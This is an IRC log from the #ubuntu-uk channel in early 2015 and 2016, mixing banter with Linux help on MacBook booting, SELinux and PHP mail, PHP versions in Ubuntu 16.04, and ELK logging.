<daftykins> indeed, however in this case the episodes ripped from disc 3 don't even match the labels in the packet
<diddledan> o_O
<daftykins> anywho i must get food started whilst i investigate this
<daftykins> crisis averted, 4 episodes on the disc - they're on in reverse order so i watched the first which was meant to be the fourth =|
<daftykins> a sneaky trap to trick the rippers!
<zmoylan-pi> i usually look for the episode titles after ripping episodes of tv series and then number them from wikipedia list
<daftykins> what's weird about this show is i don't think it even says the title in the intro, so you have to go by the first scene to tell
<daftykins> funny part is it's nicer to watch the blurays on my xbox one as it's quieter than the HTPC's fans running to play the rips off the server XD
<daftykins> i'd upgrade to a nice modern NUC if i still had disposable income
<daftykins> but now's a bad time since HUVC decode hardware support would be desirable
<mapito> wel
<mapito> this eries te myseries of laura is quite good
<mapito> hm chained (2012) sonds promising for a horror..decent enough rating
#ubuntu-uk 2015-01-17
<m0nkey_> Any of you lot got experiencing installing Ubuntu as the sole OS on a MacBook? Want to be done with OSX. Any way to make it boot purely in BIOS mode?
<daftykins> i think it has limitations on that front
<daftykins> i heard talk you need there to be an HFS+ partition regardless
<daftykins> is it new enough to be running 10.7+ ?
<m0nkey_> Yeah
<m0nkey_> It's a mid-2012 MBA. Was running OSX10.10, downgraded that crap back to 10.9
<daftykins> heh
<daftykins> can you pick between booting ubuntu media starting up in EFI or legacy mode from just holding option after the chime? i don't think i've tried both modes
<daftykins> (got an ancient late 2007 white macbook here i got given)
<m0nkey_> that works.. rEFInd gives me a better boot loader
<daftykins> i'm thinking natively with none of this third party tosh :>
<m0nkey_> that's what i'd prefer
<diddledan> m0nkey_: you can bless a legacy boot
<daftykins> so i don't know 100% but i was under the impression if a disk in a mac is totally blank, you'll just get the EFI crying and displaying that sad mac image (or whatever modern ones do) - so you need at least the OS X recovery partition at the start still perhaps?
<m0nkey_> with the latest EFI firmware? already tried blessing my Ubuntu boot partition.. no dice
<daftykins> when i dualbooted this macbook, all i had to do was resize the OS X HFS+ volume, boot media from the post chime menu then pick install alongside - is it harder on newer models?
<diddledan> bless --device /dev/disk0s2 --setBoot --legacy
<m0nkey_> diddledan, does the disk need to be MBR or GUID?
<diddledan> I'd personally use efi boot ubuntu tho
<diddledan> the disk should already have a protective mbr if you've installed in legacy mode
<daftykins> what does bless do 0o set some kinda secret variable the mac EFI likes? :>
<diddledan> bless is the utility which sets the firmware's default boot item
<diddledan> if you call it in a specific way it'll also modify the boot device's filesystem (needs to be hfs+) so that settings survive moving the filesystem to a different system or if the firmware forgets
<m0nkey_> this sounds more like a weekend project than a half asleep at 7:30pm project
<diddledan> :-)
<daftykins> totally.
<daftykins> i hope you'll pick LTS as well so that you won't be back here doing it again so soon ;)
<diddledan> blender institute want to make a full-length feature: http://gooseberry.blender.org
<diddledan> they're working on a 15minute pilot atm
<daftykins> bed for me
<daftykins> g'night all \o
<Welshman> Hi to anyone who lives in the UK especially Scotland + Wales. Also I do have a question concerning Ubuntu and free alternative OSs in general.
<Welshman> Would anyone like to say "Hi" to me so that I can ask my question, please?
<Welshman> OK. Does anyone think that I should visit another "Ubuntu" or "free alternative OS" chat room instead?
<Welshman> mjayk: Hi.
<Welshman> OK. Thanks + bye to all.
<diddledan> err
<mapito> jedus  christ#
<mapito> :(
<mapito> im gonna die arent i?
<mapito> smoking 20 a day
<mapito> drinkng too aint helping
 * diddledan cuddles mapito 
 * knightwise is off to clean out the basement (Part III of a trilogy I hope)
<mapito> hey diddledan
<mapito> anther day another itre of vodka done
<mapito> :d
<diddledan> "the fall" with gillian anderson is awesome
<diddledan> just finished a binge-watch of season1
<mapito> y
<mapito> seen it idnt enjoy
<MartijnVdS> I just told my ISP to upgrade me
<MartijnVdS> to 500/500mbit
<MartijnVdS> *zooom* *zoooooom*
<diddledan> MartijnVdS: quit rubbing our noses in your broadband superhighway
<mapito> m
<MartijnVdS> diddledan: nope :)
<brobostigon> morning boys and girls.
<MooDoo> hello all
<popey> yo
<popey> oh.
<SuperEngineer> doh!
<diddledan> who remembers http://en.wikipedia.org/wiki/BT_Highway
<ali1234> i do
<ali1234> it was crap, like every single other thing BT have ever done with the internet
<diddledan> I never had it personally tho I wished for it at times "double my modem rate? wow!"
<ali1234> sure, for 5x the price
<diddledan> aye
 * SuperEngineer searches repos for "how to feel warm without spending all your money" downloadable - nope, no joy.  Darn!
<diddledan> SuperEngineer: is that a heating issue or an "ooh shiny" issue?
<ali1234> https://github.com/ckolivas/cgminer
<ali1234> !info cgminer
<lubotu3> cgminer (source: cgminer): multi-threaded multi-pool Bitcoin miner. In component universe, is optional. Version 4.4.2-1 (utopic), package size 427 kB, installed size 1411 kB
<ali1234> right now it's about 1% cheaper than using an electric heater :)
<the_butler> irc.rizon.net
<SuperEngineer> diddledan, it's an "hmmm, salad or pie for meal tonight" issue - I think you guess the answer ;)
<Azelphur> ali1234, here's a fun question, threes new tethering detection. I can ping -t 63 from the phone, but I can't ping -t 65 from the laptop. what on earth could they be using to detect that?
<sebsebseb> hi
<ali1234> Azelphur: the metric of each hop is not necessarily 1
<Azelphur> ali1234, good point I suppose
<Azelphur> ali1234,  phone works with ping -c 63, 62, 61 though
<ali1234> the metric can be anything
<ali1234> it could be 256
<ali1234> or it could have nothing to do with the metric
<ali1234> it could be the MTU
<Azelphur> oO, the MTU. Interesting
<Azelphur> looks like android is 1400 and laptop is 1500
<ali1234> that will be it then
 * Azelphur gives that a go
<Azelphur> ali1234, nope, no luck :<
<Azelphur> DNS works, but I assume that's because my phone is the DNS server
<ali1234> why not just look at the packets?
<Azelphur> ali1234, does Android have tcpdump?
<ali1234> no idea
<Azelphur> guess I shall research further, I suppose at the very least I could use some packet dumps to confirm the TTLs are correct
<ali1234> most likely it's related to ip_conntrack somehow
<ali1234> you should research how ping actually works with NAT
<Azelphur> well it's not just ping, no traffic is getting through for whatever reason
<Azelphur> I'd think it would be TTL, but apparently it isn't
<ali1234> ping is just ICMP
<Azelphur> yea I know :)
<penguin42> Azelphur: I thought there were various options and newer androids default was making it easier to detect
<penguin42> Azelphur: also, see section 4 in http://conferences2.sigcomm.org/imc/2014/papers/p173.pdf
<penguin42> which are rather cunning
<penguin42> I keep meaning to make some notes on how to set up ssh port forwarding + tethering only to the phone to do the tunneling via ssh on the phone
<Azelphur> penguin42, that's a good idea, I bet that'd work.
<Azelphur> maybe even a VPN server on the phone
<penguin42> Azelphur: Right, the easiest way is ssh from the phone, connectbot can set up a SOCKS proxy or a simple port forward - which is the simplest way; but you'll need to get all the routing right to stop the host actually trying to route normally down the USB
#ubuntu-uk 2015-01-18
<mapps> morning
<brobostigon> morning boys and girls.
<brobostigon> question everyone, would most consider it bad security, to get up in the morning, make a cup of tea, unlock the front door, then go back to bed to sleep.?
<SuperEngineer> no - I'd condider it sleep walking ;)
<SuperEngineer> *consider
<brobostigon> i consider it my father at work.
<brobostigon> who has a bent mind on security.
<SuperEngineer> perhaps he's hoping that the group of gorgeous women he was dreaming of will find the unlocked door
<SuperEngineer> ...tell him they're from GCHQ
<brobostigon> i see.
 * SuperEngineer pats own back for re-purposing old Acer AAO netbook.
<SuperEngineer> Reinstalled original system [XFCE Wrewolf] - long out of support but I don't need it to go online.
<SuperEngineer>   I simply want to stop off on way home, have a pint whilst doing the day's mileage, exepenses & overtime sheets.
<SuperEngineer> ...with earphones in to listen to music if no friends there.
<zmoylan-pi> my parents locked the house at night and unlocked in the morning.  i do it too.  the door is still locked, just not a dead bolt
<zmoylan-pi> and it did confuse us when we started discovering doors and windows open in the morning till we realised it was the cat not disturbing us when she wanted to enter and leave the house to attack other cats in her terrortory at night
<zmoylan-pi> terrortory is not a typo, she ruled by fear :-)
<penguin42> the cat was opening windows?
<zmoylan-pi> and doors, taking a key of a nail for the doors, inserting it in lock and turning it with paws while standing on back legs.
<zmoylan-pi> of course being a cat she had no interest in closing doors afterwards...
<penguin42> customers who bought Digestives Dark Chocolate also bought...Butcher's select Chicken Breast fillet....
<penguin42> http://www.cbrd.co.uk  could lose many hours
<sebsebseb> hmm MintBox Mini seems like it's going to be interesting, was just reading about that
<zmoylan-pi> chicken breasts smothered in dark chocolate digestives instead of breadcrumbs...
<penguin42> it might work
<zmoylan-pi> not seeing any existing recipies
<penguin42> I mean people do sweet/honey glazes on chicken
<diddledan> heh, hantslug are having an argument about posting style (well a discussion)
<diddledan> i.e. top, bottom or inline
<zmoylan-pi> lynch mobs on standby?
<diddledan> maybe we should prepare the riot squad?
<zmoylan-pi> for a subject like posting style they might just have their own opinion and merely be another participant :-)
<diddledan> I think people probably get as upset as during vim vs emacs debates
<ali1234> prepare the troll squad
<ali1234> write a 1500 word explanation of why they are all wrong and you should never quote the email you are replying to at all
<zmoylan-pi> well the emacs v vim squad is a bunch of unix engineers in old folks home waving their sticks and walkers at each other :-)
<ali1234> no, plenty of hipsters use vim
<zmoylan-pi> i like vim but i've seen vim and emacs users sit in same room without fighting
<ali1234> well yeah
<ali1234> they were probably arguing over email
<zmoylan-pi> but if someone were to walk into that room and fire up visual studio on a laptop they'd be asking for it :-P
<shauno> oddly, visualstudio tends to have a pretty good reputation.  particularly its code-completion
<m0nkey_> Any reason to upgrade to 14.10?
<popey> not unless you "need" to, no.
<popey> I'd stick on 14.04
<m0nkey_> Did look at the release notes, don't see any compelling reasons to actually do it. Was wondering if there was anything specific that might make me want to.
<zmoylan-pi> you like watching dunbars filling slowly :-)
#ubuntu-uk 2016-01-18
<mapps> hmm
<mapps> i really dont go far and gibs small
<mapps> havent been to spain for absolutely ages:)
<mapps> finally registerring for my id card tomorrow, would be cool if i could travel on it
<m0nkey_> TIL that Falcon 9 has a users guide you can download .. http://www.spacex.com/sites/spacex/files/falcon_9_users_guide_rev_2.0.pdf
<knightwise> mownin
<popey> *yawn*
<popey> morning
<foobarry> realised i'd never had the tooth fairy discussion with the missis
<zmoylan-pi> be careful everyone, it's monday out there...
<diplo> Morning all
<davmor2> Morning all
<JamesTait> Good morning all! Happy Monday, and happy Martin Luther King Jr. Day! ð
<zmoylan-pi> and not to the american police station that opened their gun range for people to use on martin luther king day...
<brobostigon> morning boys and girls.
<mapps> hola
<brobostigon> hi mapps
<mapps> hey mate
<mapps> you ok
<brobostigon> could be worse, could be better.
<zmoylan-pi> so... you _didn't_ win the lottery we take it... :-)
<mapps> :D
<brobostigon> if only,
<davmor2> JamesTait: I got you covered bro https://www.youtube.com/watch?v=avbNOjCOHJE
<davmor2> See I do know music from this decade, where's popey when you want to rub it in :D
<zmoylan-pi> off rubbing ointmnt into his bunions... :-P
<diddledan> zmoylan-pi: cheesy bunions! (that's a nice flavour of crisp!)
<diddledan> the blue packet of Walkers
<DJones> Nice, new Doom level released http://www.bbc.co.uk/news/technology-35343089
<DJones> Created by the the original creator
<diddledan> https://twitter.com/BBCTech/status/689091591458451458
<davmor2> diddledan: did people actually use it?
<diddledan> for small values of use, yes I did.. or rather: I was signed-up and then did nothing
<zmoylan-pi> https://en.wikipedia.org/wiki/Friends_Reunited
<zmoylan-pi> sold and then valued at less than what was paid for it.  a proper social network :-)
<zmoylan-pi> but closing down instead of selling it back to the original owner for a pittance would be extra social network points... :-)
<SuperMatt> Crikey, I forgot that Friends Reunited even existed
<davmor2> and that is why it has shut down :)
<zmoylan-pi> but but... you have no friends... :-P
<davmor2> zmoylan-pi: not everyone is like you, so of us know and see real people :P
<davmor2> s/so/some
 * zmoylan-pi reports davmor2 for halucinating again and summons the men in white coats with butterfly nets... :-P
 * davmor2 shows the men the photographic evidence and they go away (Fooled them again \o/)
<zmoylan-pi> that rubber stamp 'sane' is a godsend to mark the back of your hand...
<davmor2> no it's the photo of the certificate that says I'm sane  no idea how I got away with that I can only assume it was a good day :)
<zmoylan-pi> bermuda school of psychiatry and scuba diving approved...
<diplo> Any of you guys use logstash
<diplo> ?
<diplo> Just watched a couple of vids, seems good, debating playing
<bigcalm> Good morning peeps :)
<davmor2> diplo: no
<diddledan> diplo: it does look good. I keep meaning to investigate it
<diddledan> itâs a shame that it doesnât do magic like splunk does to create fields
<SuperMatt> bigcalm: not morning. no way. it's home time
<SuperMatt> either that or I've worked really hard today
<bigcalm> Home time?!
<bigcalm> Gah
<SuperMatt> which is very unlikely
<diddledan> :-o
<diddledan> I would go home, except, Iâm already there
<diplo> diddledan: I believe you can do matching in the configs, does splunk do it automagically though ?
<diddledan> diplo: yeah, splunk invents fields on-the-fly
<diplo> Opensource too ?
<diddledan> alas, no
<diplo> hahah well that's my company out :D
<diddledan> lol, check the processor on these specs: https://ting.com/shop/Alcatel-OneTouch-Fling-New-CDMA
<m0nkey_> hahah
<m0nkey_> totally has one!
<diddledan> :-p
<foobarry> diplo: yes we use logstash
<foobarry> ELK
<diddledan> thereâs a road-worthyness check called âthe elk test"
<davmor2> diddledan: nice maybe Ubuntu Phone should start doing that just Processor: Yes :)
<foobarry> elastic search - logstash - kibana
<Myrtti> Guest60986: http://freenode.net/sasl/
<mapps> hi all
#ubuntu-uk 2016-01-19
<davmor2> Morning all
<bigcalm> Good morning peeps :)
<knightwise> heyb he
<knightwise> hey bigcalm
<davmor2> bigcalm: How am ya blue
<bigcalm> o/
<bigcalm> Silly busy. Which is why I'm on IRC of course
<knightwise> Same here
<knightwise> trying to eliviate pressure that program manager is pushing onto me
<JamesTait> Good morning all!  Happy Tuesday, and happy Popcorn Day! ð
<davmor2> JamesTait: Happiest version of popcorn I know https://www.youtube.com/watch?v=AvDvTnTGjgQ
<JamesTait> ð
<diplo> Morning all
<diplo> foobarry: Do you like it? Debating giving it a go
<diplo> Logstash that is btw :)
<foobarry> yes, although the guy who implemeneted it has left so i'm a bit scared of it breaking
<davmor2> diplo: Oh I thought you meant popcorn
<diplo> hahah, that's why I have been writing comprehensive notes on it all
<foobarry> i got a missing shards message
<diplo> Seems fairly simple to be honest, can I ask what you use it for, as it for alerting on errors mainly ? Or for connections etc
<foobarry> after one of the log servers went down
<foobarry> we gather our cluster logs into it, so if we have a job number we can analyse the detail
<foobarry> but also gather syslogs from vmware etc
<foobarry> and will be doing security logs so we can graphically see spikes in /var/log/secure
<foobarry> and search for IP etc
<foobarry> its very good for viewing graph "load"/activity
<diplo> Hadn't thought about vmware boxes, I'm debating using it for our customers servers to keep on top of secure and picking up failing drives etc, good use case in your opinion ?
<foobarry> and we tend to grep for things in logs a lot , which this does great and quickly
<foobarry> yes
<foobarry> you can do a search for certain errros and see their frequency and view the detail
<foobarry> one thing
<foobarry> the security is terrible
<foobarry> no auth or https
<diplo> Yeah, as all our servers are remote in all parts of the country most people don't do anything till there is an issue
<foobarry> you need to firewall it just for your client connection
<foobarry> this is the kibana interace
<diplo> Not to worried, will only make it available on internal network I think
<davmor2> I want to know who this poor wall bloke who keeps getting fired is ;)
<diplo> davmor2, its to early to try and be funny :D
<davmor2> Just happened across this https://www.youtube.com/watch?v=5Ac0VZB92vU
<knightwise> Damn ,
<knightwise> RTV installer seems to be broken :(
<brobostigon> morning boys and girls.
<knightwise> hey brobostigon
<brobostigon> hi knightwise
<czajkowski> Laney: are you based in norfolk?
<Laney> czajkowski: ummmmmmmmmmmmmmmmmm nope you remembered the first two letters right though
<czajkowski> Laney: ah ok for context was gonna ping you re https://www.publictechnology.net/articles/news/norfolk-appoints-updata-%C2%A320m-network-framework
<Laney> good old capita!
<Laney> nottingham news gratefully received :)
<czajkowski> https://twitter.com/PublicTech/status/689392057874386944
<czajkowski> it's actually a good twitter feed to follow
<diddledan> fun: http://www.revk.uk/2016/01/mathematics-does-not-bend-to-law.html
<knightwise> There is only one thing worse then working with an MS Project file
<knightwise> and that is working with somebody ELSES msproject file
<diddledan> lol
<diddledan> OS X with virtual box AND vmware running simultaneaously?! voodoo I tells ya!
<foobarry> i can run "php test.php" and get it to send mail
<foobarry> but when html page calls it, it doesn't work
<diddledan> \o/
<foobarry> any idea
<diddledan> not yey
<diddledan> define doesnât work?
<foobarry> whats define
<diddledan> 500 error?
<diddledan> nono, I meant âplease define âdoesnât workâ"
<foobarry> oh, the php script is run but no mail received an no errors in logs
<foobarry> ah, may have found somethinhg
<diddledan> I assume youâre using the mail() function?
<foobarry> sendmail: fatal: open /etc/postfix/main.cf: Permission denied
<foobarry> yeah
<diddledan> yeah, that tries to run /usr/bin/sendmail to inject the email into postfix
<foobarry> SELINUX!!
<diddledan> ah
<diddledan> sucky nuts
<foobarry> setsebool -P httpd_can_sendmail=1
<foobarry> wasted ages on that
<diddledan> eww, really simple fix too
<diplo> diddledan: Yeah disable selinux :D
<foobarry> before then there was an error in the php code but it ignore the whole file silently in that case
<knightwise> Bless you youtube-dl for giving me lots of music to listen to without silly adds
<davmor2> popey: you're back with interwebz then :)
<popey> hello
<davmor2> popey: how are things the other side of the pond managing to hold onto your Phone?
<popey> very nice
<popey> http://imgur.com/oEzBXuE view from the room
<popey> mountains and clouds
<popey> (and an intersection)
<diplo> looks nice popey, really must visit the states at some point
<davmor2> popey: You are in the states the Intersection bit goes without saying ;)
<diddledan> yey for end-of-year tax shenanigans :-p
<diddledan> just realised I hadnât filed 14/15 tax return
<diddledan> oops
<diddledan> popey: when does scale start?
<muncjack> #ubuntu
<muncjack> hello
<diddledan> this is actually #ubuntu-uk :-p
<muncjack> it will do :-)
<muncjack> I am looking for help to do strongswan  clustering on ubuntu 14.04
<muncjack> the package strongswan-plugin-ha seems to be missing
<davmor2> muncjack: what version of ubuntu are you using?
<davmor2> muncjack: sorry I meant arch not version amd64 or i386
<muncjack> amd64
<muncjack> davmor2:amd64
<davmor2> muncjack: yeap thanks
<davmor2> muncjack: looks like it is stuck in proposed https://launchpad.net/ubuntu/trusty/amd64/strongswan-plugin-ha/5.1.1-0ubuntu17
<davmor2> oh actually it got deleted so not sure
<Seeker`> popey: where in the US are you?
<popey> https://www.google.co.uk/maps/place/The+Westin+Pasadena/@34.1490818,-118.1442006,17z/data=!3m1!4b1!4m2!3m1!1s0x80c2c3692ab92b0f:0xe2a677eee2c25b59
<popey> there
#ubuntu-uk 2016-01-20
<davmor2> Well I'm on the OMG-it's-Early train to Ye Olde London Town
<zmoylan-pi> full of happy joyful people?
<diddledan> omg, itâs morning?!
<diddledan> oops
<\s> diddledan, i know right... how the.... 0621??????
<\s> howd that happen?
<mapps> hi all
<brobostigon> morning boys and girls.
<davmor2> Morning all now it is a more sensible time :)
<JamesTait> Good morning all!  Happy Wednesday, and happy Penguin Awareness Day! ð
<zmoylan-pi> we're aware of it... /airplane
<foobarry> has anyone ever paid for whatsapp?
<foobarry> when you install it used to say 69p charge per year
<foobarry> but i never got charged
<zmoylan-pi> a lot of people report that... i've never heard of a person paying
<zmoylan-pi> but i've never used it myself
<foobarry>     $anyother = $_POST['anyother'];
<foobarry> ^^ if i'm collecting data from a form, and this field is not compulsory, how should i handle this line?
<foobarry> it produces an error in error logs if it is not filled in
<diplo> foobarry: I paid many many moons ago
<diplo> But I rarely ever use it
<Seeker`> you can check whether a variable is set, iirc
<Seeker`> http://php.net/manual/en/function.isset.php
<foobarry> http://stackoverflow.com/questions/3496971/check-if-post-exists
<foobarry> should do it, cheers
<bigcalm> Good morning peeps :)
<diddledan> I just received a raspberry pi official 7inch screen \o/
<diplo> I've been looking at those diddledan, let me know your thoughts once you've had a play please :)
<Myrtti> I should hook mine up to the knitting machine
<diddledan> diplo: it goes together quite well - I got mine from pi-supply along with a perspex frame to mount it within
<diddledan> Iâve not got it displaying anything just yet tho :-p
<diddledan> the frame is a pimoroni âLCDFrameâ with the colour attributed as âFlotilla"
<diplo> Sounds good
<diddledan> we have display.
<diddledan> upside down, but display none-the-less
<zmoylan-pi> my god... it's full of pixels...
<diddledan> itâs not obvious which way is up IMO
 * diddledan powers down and re-aligns the stand
<diddledan> oh, seems the stand was made upside down. thereâs threads on raspberripi.org forums about it - fix is to add lcd_rotate=2 into the boot config.txt
<zmoylan-pi> or initialise in australia...
<mapps> gah started building next to my apartment
<mapps> they start like 8am
<mapps> O_o
<Azelphur> mapps: know that feeling, had a building site next to me for a year
<Azelphur> sometimes they start at 7
<mapps> building everywhere here
<mapps> thing is i work nights so its a pita
<mapps> heh
<Azelphur> mapps: yea, I worked LA times
<mapps> you in the uk or us now?
<Azelphur> UK
<Azelphur> so I worked GMT-8 when the building site was running
<Azelphur> :(
<mapps> :<
<mapps> anyone watch the ch4 doc terrorist nextdoor
#ubuntu-uk 2016-01-21
<\s> http://www.hecticgeek.com/2015/10/ubuntu-15-10-review/ are the xorg issues fixed?
<mapps> hi all:D
<JamesTait> Good morning all; happy Thursday, and happy Hugging Day! ð
<bigcalm> Good morning peeps :)
<SuperMatt> morning
<_Sponge> What time is M Shuttleworth's keynote in the UK ?
<_Sponge> Oh, good morning cockney-governor n'all that.
<_Sponge> Oh right : http://www.timeanddate.com/worldclock/usa/los-angeles
<_Sponge> Does anyone banter on this channel ?
<SuperMatt> yes, we do, but it's still quite early here, and people are either on their way to work, or just getting on with it
<_Sponge> fair enough.
<SuperMatt> I'm in the latter camp
<_Sponge> I'm bodging it today.
<_Sponge> I'll check another channel ..
<brobostigon> morning boys and girls.
<foobarry> happiness is getting a git pulll/commit/push before anyone else has done a push inbetween
<brobostigon> git push happiness brobostigon@ThirdPlanetFromTheSun
<davmor2> popey is in the state and I'm in London so there's two down :)
<czajkowski> aloha
<Laney> severn trent++
<Laney> zero holding and the chap actually called me back when he said he would
<foobarry> yeah thames water were pretty good too
<m0nkey_> Mornin all.
<SuperMatt> yo
<diddledan> chrome is gonna support a compression for web content that is supposed to be better than gzip: https://plus.google.com/u/0/+IlyaGrigorik/posts/X9ogn4fLtHL
<diddledan> Iâm assuming the equivalent commandline utility would be bzip2?
<diddledan> I donât know what brotli is
<diddledan> seems not, bzip is burrows-wheeler
<diddledan> brotli is entirely google - invented (first release) 2013
<m0nkey_> diddledan: did that download from my server work okay? what kind of speeds were you getting?
<diddledan> m0nkey_: it finished, Iâve not checked whether the files were intact, but they were the right size - I went to bed so didnât monitor the speed
<diddledan> I think it was reading 30 minutes once it got going
<m0nkey_> heh, i've not tested it myself.
<diddledan> the transfer time of 30 minutes I mean
<m0nkey_> i really need to upgrade my ISP quota.. 400GB this month isn't going to be enough :)
<diddledan> :-p
<diddledan> quotas are a pain to work within
<diddledan> you _always_ want/need more
<m0nkey_> that's Canada for you.. most expensive services on the planet
<diddledan> ouch
<diddledan> plus youâve got a bad time right now with your exchange rate :-(
<m0nkey_> The three mobile operators all pushed up their prices $5. All at the same time.
<m0nkey_> The whole comms industry is corrupt.
<diddledan> grr
<m0nkey_> Even small ISPs like mine rely on these guys, and they keep pushing the price up for the small guy, who cannot absorb the cost and have to pass on to the customer. My bill went up $3 this month.
<m0nkey_> That and the rising cost of fruits and vegetables.
<m0nkey_> The out of season stuff is stupid expensive. A small punnet of raspberries is reaching over $6.
<m0nkey_> Where as only last year, it was $3
<m0nkey_> So, to make it abundantly clear how much our currency is in the toilet, 1GBP buys 2.10CAD
<m0nkey_> My bad, that was last week.. it recovered a little.. 2.03CAD
<lornajane> hi people :)
<zmoylan-pi> o/
<lornajane> how would I find out what versions of libraries are likely to be in Ubuntu 16.04?  I assume there's a way to find that out for myself, but where do I look?
<zmoylan-pi> channel will be a bit quiet as people battle way home and tea time but if you hang around you may get an answer
<pwaring> lornajane: You could search http://packages.ubuntu.com/ and select xenial as the distro
<pwaring> e.g. that suggests PHP will be 7.0
<pwaring> http://packages.ubuntu.com/xenial/php
<lornajane> yeah, it's PHP I'm really looking at, any danger they will ship a 5.x as well?
<pwaring> It's been discussed (I know someone who works at Canonical)
<pwaring> Personally I think they will have to, but I don't have any say in it
<pwaring> http://packages.ubuntu.com/xenial/php5
<pwaring> That suggests php will be 7.0, php5 (which is the package that gets installed at the moment) will be 5.x
<mapps> hello;]
<pwaring> There is no 'php' package in 15.10 or earlier
<pwaring> So most people will have php5 and will upgrade to 5.6.x
<lornajane> I think that's going to be perfect. Much as I would love everyone to be running PHP 7, 6 months after release is too soon for most people to be ready
<pwaring> yes
<pwaring> 16.94 is long term support as well
<pwaring> 16.04 even
<pwaring> So dropping a major piece of software like PHP 5 would be a huge disadvantage
 * pwaring is trying to get one client to move off 5.2
<lornajane> yeah I have most of my clients on 14.04, they're just not ready for PHP 7 but a platform with both means I can make the transition at some point after upgrade
<pwaring> Or 5.3, I forget which
<lornajane> I moved one of my big work projects to 5.5 yesterday (Ubuntu 14.04 of course) so I'm happy about that
<lornajane> the PHP upgrades aren't difficult at all but some of the extenions aren't ready for PHP 7 so some people really can't move yet
<pwaring> A lot of code breaks in 5.3->5.4 for my client
<pwaring> Well, doesn't 'break' but causes thousands of E_NOTICE warnings
<bigcalm> With luck, php 7 will be back ported to Ubuntu 16.04
<bigcalm> Maybe in a year
<lornajane> pwaring: is it E_STRICT?  We turned that on by default in 5.4
<lornajane> almost all systems got significantly noisier when that happened
<pwaring> lornajane: yes, I suspect that's the issue
<pwaring> There's a local php.ini which sets error_reporting to E_ALL
<pwaring> which I think now includes E_STRICT but didn't use to
<lornajane> pwaring: exactly, yes
<lornajane> E_ALL means all now.  A radical move by the PHP community
<pwaring> Although if you search for php 5.4 e_strict. I get a page saying that E_ALL doesn't include E_STRICT
<pwaring> on php.net
<pwaring> First hit on DDG
<pwaring> and to be fair, PHP is hardly along
<pwaring> -Wall doesn't mean all warnings in GCC :)
<lornajane> gotta keep things interesting :)
<lornajane> this is really sane, PHP 5.6.16 and PHP 7.0.2
 * pwaring pats clang with -Weverything
<bigcalm> May there come a day where we can have multiple versions installed, much like python does
<lornajane> we can, you can install all those packages
<pwaring> yeah
<pwaring> I remember having PHP 4 and PHP 5 installed
<pwaring> You can do the same with Java too
<pwaring> And GCC I think
<lornajane> pretty sure you should be able to install all of that and just use them both
<lornajane> might make installing extensions fun
<bigcalm> Installing everything via apt is what I want from life :) No idea how the extensions would be handled though
 * brobostigon is playing with rockwork on ubuntu touch
<mapps> rockwork:D
<mapps> O_O]
<brobostigon> pebble, :)
<mapps> i thought that was some watch
<brobostigon> it is yes.
<brobostigon> i have yet to get a notification to see if it works.
<mapps> ah
<mapps> im going to see if i can get duolingo to work offline;]
<brobostigon> duolingo?
<mapps> ya
<mapps> app for droid/ios to assist in learning spanish
<brobostigon> ah
<mapps> ooh it has an offline mode now yay
<mapps> no wifi at work..well there is but they dont let us use it, and i use the apps in my breaks:D
<brobostigon> i got an sms, it works, :)
<mapps> i dont fully get what youre doing
<mapps> ubuntu touch on pebble or somethng on ubuntu touch device
<mapps> rockwork is what though..is that pebble os or something
<ali1234> smartwatch has to be paired to a phone in order to do stuff
<mapps> oh
<brobostigon> rockwork is a pebble smartwatch integration app and service for ubuntu touch, which forwards notifications and the like to said pebble smartwatch.
<mapps> aha:)
<brobostigon> :)
<mapps> never used a smartwatch didnt think i need one
 * brobostigon has had three upto now, two pebble's and an android wear.
<mapps> do you use them much day-to-day
<brobostigon> oh yes.
<mapps> does it drain your smartphone battery at all?
<brobostigon> as a normal watch for the most part, with added extras.
<brobostigon> not really, no.
<Myrtti> my M360 doesn't drain the phone battery at all, and it itself has an astonishingly long battery life too
<brobostigon> my pebble can last me a week, between charges.
<brobostigon> on step 4 https://mattimakinen.net/TTYYIrcBot/ what does that mean?
<mapps> second chance seems ok watching e1
<mapps> hm
<mapps> not sure:p read the url and dont know heh
<brobostigon> its an irssi plugin to send notification to telegram.
<diddledan> brobostigon: I guess you need to type /api_token which gives you a URL to open to generate an authorisation credential
<mapps> this sends notifications to your watch? cool
<brobostigon> diddledan: it spits out an unknown command error.
<diddledan> hmm
<brobostigon> mapps: indirectly.
<mapps> cool
<brobostigon>  /script list definatly shows it there and loaded.
<diddledan> brobostigon: you need to send that text to âthe botâ not to irssi by the looks
<diddledan> "So start conversation by going to https://telegram.me/TTYYIrcBot."
<brobostigon> explain, how send it to thw bot, /msg ?
<diddledan> Iâm wondering what they mean by âquering yourselfâ <â is that trying to turn yourself into a 60s era perception of a gay person?
<diddledan> the bot is on telegram
<diddledan> you need to telegram message it I guess
<brobostigon> and that will send me the api token to stick into the script?
<mapps> oops
<mapps> fell asleep during second chance lol
<diddledan> yes
<mapps> wokeup just now luckly..in work in 20mins;p
<brobostigon> ah.
<brobostigon> i think i have it, thank you diddledan
<diddledan> \o.
<diddledan> \o/
<brobostigon> it helped getitng my head around it.
#ubuntu-uk 2016-01-22
<MooDoo> morning all
<zmoylan-pi> a rainy friday...
<MooDoo> yeah just a bit drizzly here
<knightwise> morning peepzzzz
<MooDoo> morning
<knightwise> hey MooDoo , how are you dude
<davmor2> Morning all
<knightwise> 1hey davmor2
<MooDoo> morning davmor2 knightwise
<MooDoo> knightwise: yeah I'm good thanks, early start this morning :)
 * knightwise has been at it for 2 hours 
<MooDoo> yeah 6am start for me, but it means i finish at 1:45 :)
<davmor2> MooDoo: Pfff I mock you early start I was up at 04:30 on Wednesday morning to catch the 5:24 train to London :P
<knightwise> MooDoo: lucky you !
<knightwise> I start early too (for my own company) and need to work later for the client i'm currently working at
<davmor2> MooDoo: the odd thing is early starts seem to make longer days :)
 * knightwise is used to 10/12 hour days most of the time
<knightwise> having your own gig does that
<MooDoo> I've got meetings today so that might make them go faster [I hope]
<davmor2> MooDoo: no it's more that your up early but you go to bed at the same time so your day just got 3 hours longer :)
<MooDoo> sheesh
<MooDoo> davmor2: give me chance to move nas's / switches later at home :D
<davmor2> MooDoo: hahahahahahahaha
<davmor2> MooDoo: don't you have Virgin Turning up later?
<knightwise> some attempts at port-knocking and brute forcing passwords on my SSH port are pathetic
<MooDoo> davmor2: yeah but that won't take long
<MooDoo> knightwise: happens to me all the time, and just for a desktop that I use as a IRC machine :(
<zmoylan-pi> they'll never guess 123456
<knightwise> or admin admin
 * knightwise needs to torrent excell for dummies 2016
<MooDoo> that's a crap password, be like me and use megaman3 :) unless you're reading this on windows where you'll see ********
<knightwise> ordered the physical books and they take a week to get here
